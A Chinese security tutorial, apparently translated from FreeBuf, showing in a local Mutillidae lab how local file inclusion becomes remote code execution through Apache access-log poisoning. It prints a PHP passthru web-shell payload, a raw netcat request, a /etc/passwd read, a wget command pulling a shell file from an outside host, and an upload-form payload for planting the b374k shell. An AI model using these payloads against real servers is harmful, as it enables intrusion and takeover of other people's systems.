内容简介:本地文件包含(LFI)漏洞,常被入侵者用来提取站点所在服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即通过本地文件包含来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让我们步入正题!我将使用我本地的渗透测试环境设置为例。我当前所使用的web应用程序是Mutillidae。此外,我们必须将Apache配置为允许目录遍历。首先我们来寻找LFI漏洞,点击链接后我们可以看到如下的url地址:
本地文件包含(LFI)漏洞,常被入侵者用来提取站点所在服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即通过本地文件包含来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让我们步入正题!
设置
我将使用我本地的渗透测试环境设置为例。我当前所使用的web应用程序是Mutillidae。此外,我们必须将Apache配置为允许目录遍历。
<Directory /path/to/document/root> Options Indexes </Directory>
show time
首先我们来寻找LFI漏洞,点击链接后我们可以看到如下的url地址:
/index.php?page=
让我们尝试包含一个敏感文件路径/etc/passwd,看看会发生什么。如下:
/index.php?page=/etc/passwd
竟然成功读取到了文件内容!这也为我们验证了该应用确实存在本地文件包含漏洞。接下来我们来包含Apache access log,看看是否也能访问到其中的内容。
访问日志的位置和文件名在不同的系统上会有所差异,在我的系统上是/var/log/apache2/access.log。将url修改如下:
/index.php?page=/var/log/apache2/access.log
太棒了!访问日志的内容也成功被加载。
经过以上的初步验证,现在是时候进入到我们的第二阶段了。
Apache访问日志的利用
在此之前,你必须要对Apache日志有所了解。
服务器访问日志记录服务器处理的所有请求。
参考来源: http://httpd.apache.org/docs/1.3/logs.html#accesslog
这也意味着我们发送到服务器上的任何请求都将会被保存到这里。
首先我们打开一个终端,然后使用netcat向服务器发送一个GET请求。我们之所以没有使用浏览器发送此请求,是因为它会对我们的请求进行url编码,这将导致它无法正常工作。我们注入的代码如下:
<?php passthru($_GET['cmd']); ?>
关于passthru()函数:
passthru – 执行外部程序并显示原始输出
参考来源: http://php.net/passthru
要使用netcat发送请求,我们需要在终端中执行以下操作:
ncat 192.168.56.101 80
然后我们键入以下内容:
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 Host: 192.168.56.101 Connection: close
注:这里你必须将192.168.56.101更改为你目标的IP地址。这是我虚拟机的IP地址。
最终看起来应该像下面这样:
$ ncat 192.168.56.101 80 GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 Host: 192.168.56.101 Connection: close HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2014 17:34:53 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1 Vary: Accept-Encoding Content-Length: 202 Connection: close Content-Type: text/html; charset=iso-8859-1 404 Not Found</pre> <h1>Not Found</h1> <pre> The requested URL /< was not found on this server.
现在让我们来验证下我们的注入是否有效,返回浏览器并向URL添加一个新参数:
cmd=
在我们的例子中,我将使用id命令:
/index.php?page=/var/log/apache2/access.log&cmd=id
现在,我们来看看我们得到的输出。 仔细看,你会看到类似于红框标注的内容:
我们的命令在服务器上成功被执行!
下面是我们的重头戏,即获取服务器的浏览器shell。这里有两种方法,第一种是使用wget,第二种是注入上传表单。我们先来介绍第一种。
使用wget
Wget是一个文件下载命令。虽然并非总是那么有效,但作为最简单的方法是我们首先需要去尝试的。将cmd参数更改如下:
&cmd=wget http://somedomain.com/shellfile.php
这将把shellfile.php下载到服务器,并将其保存在当前的工作目录中(如果可读的话)。如果你想要将它保存在其它位置,你可以参考wget手册。通过这种方法,可以为你省去上传表单的中间步骤。
上传表单
如果wget不起作用,我们可以使用上传表单这种方法。我们将在服务器上执行echo命令,该命令将会将我们的任意内容写入到文件。将cmd参数更改如下:
<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
这将在服务器上创建一个带有上传表单的文件。然后我们在浏览器中打开该上传页面,上传我们的浏览器shell。
如下所示,我们成功上传了b374k shell。
过程回顾
1.通过获取passwd,hosts等文件来验证LFI漏洞;
2.通过LFI漏洞获取Apache日志访问;
3.使用netcat或类似 工具 发送恶意请求;
4.通过测试id,whoami等简单命令来验证代码执行;
5.使用wget或将上传表单写入服务器,将浏览器 shell 添加到服务器上;
6.访问浏览器shell验证是否成功。
总结
虽然这本身并不是一个超高风险的漏洞,但在被正确利用的情况下也可能会带来巨大的安全威胁。
*参考来源: roguecod3r ,FB小编 secist 编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Java RMI漏洞利用
- Firefox漏洞利用研究(一)
- phpcms网站漏洞修复之远程代码写入缓存漏洞利用
- 2018最新PHP漏洞利用技巧
- LearnX控件漏洞挖掘与利用
- Nday 漏洞从挖掘到利用
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Clean Architecture
Robert C. Martin / Prentice Hall / 2017-9-20 / USD 34.99
Practical Software Architecture Solutions from the Legendary Robert C. Martin (“Uncle Bob”) By applying universal rules of software architecture, you can dramatically improve developer producti......一起来看看 《Clean Architecture》 这本书的介绍吧!
RGB转16进制工具
RGB HEX 互转工具
XML、JSON 在线转换
在线XML、JSON转换工具